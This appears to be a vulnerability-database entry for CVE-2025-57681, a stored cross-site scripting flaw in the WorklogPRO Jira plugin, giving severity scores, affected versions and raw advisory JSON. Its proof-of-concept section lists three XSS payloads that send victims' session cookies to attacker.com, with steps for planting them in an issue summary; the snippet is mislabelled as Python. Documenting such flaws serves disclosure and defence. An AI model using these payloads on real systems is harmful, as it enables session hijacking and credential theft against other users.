Security Vulnerability Report
中文
CVE-2025-57681 CVSS 5.4 MEDIUM

CVE-2025-57681

Published: 2026-01-21 17:16:05
Last Modified: 2026-02-02 18:37:52

Description

The WorklogPRO - Timesheets for Jira plugin in Jira Data Center before version 4.23.6-jira10 and before version 4.23.5-jira9 allows users and attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS) vulnerability. The vulnerability is exploited via a specially crafted payload placed in an issue's summary field

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:thestarware:worklogpro:*:*:*:*:*:jira:*:* - VULNERABLE
WorklogPRO Timesheets for Jira < 4.23.6-jira10
WorklogPRO Timesheets for Jira < 4.23.5-jira9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-57681 Stored XSS PoC // Target: WorklogPRO - Timesheets for Jira (Jira Data Center) // Attack Vector: Inject malicious JavaScript in issue summary field // Step 1: Create or edit an issue in Jira // Step 2: Insert the following payload in the summary field: const xssPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // Alternative payloads: const payload2 = `<svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))>`; const payload3 = `<script>new Image().src='https://attacker.com/cookie?data='+document.cookie;</script>`; // Step 3: Save the issue with the malicious summary // Step 4: When any user views the issue through WorklogPRO plugin, // the XSS payload will be executed in their browser context // Example exploitation scenario: const exploitScenario = { target: 'Jira Issue Summary Field', method: 'Stored XSS via WorklogPRO plugin', impact: ['Session hijacking', 'Credential theft', 'Data exfiltration'], prerequisites: 'Attacker needs Jira user account with issue creation/edit rights' }; console.log('PoC for CVE-2025-57681'); console.log('Payload:', xssPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57681", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:05.330", "lastModified": "2026-02-02T18:37:51.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WorklogPRO - Timesheets for Jira plugin in Jira Data Center before version 4.23.6-jira10 and before version 4.23.5-jira9 allows users and attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS) vulnerability. The vulnerability is exploited via a specially crafted payload placed in an issue's summary field"}, {"lang": "es", "value": "El plugin WorklogPRO - Timesheets para Jira en Jira Data Center anterior a la versión 4.23.6-jira10 y anterior a la versión 4.23.5-jira9 permite a usuarios y atacantes inyectar HTML o JavaScript arbitrario a través de una vulnerabilidad de cross-site scripting (XSS). La vulnerabilidad se explota a través de una carga útil especialmente diseñada colocada en el campo de resumen de una incidencia."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thestarware:worklogpro:*:*:*:*:*:jira:*:*", "versionEndExcluding": "4.23.7", "matchCriteriaId": "A9742718-B8FE-4C0E-8581-C5D261BA1DF2"}]}]}], "references": [{"url": "https://marketplace.atlassian.com/apps/1212626/worklogpro-timesheets-for-jira/version-history", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://thestarware.atlassian.net/wiki/spaces/WLP/pages/3326574597/Security+Advisory+CVE-2025-57681+-+Stored+XSS+in+WorklogPRO+DC", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}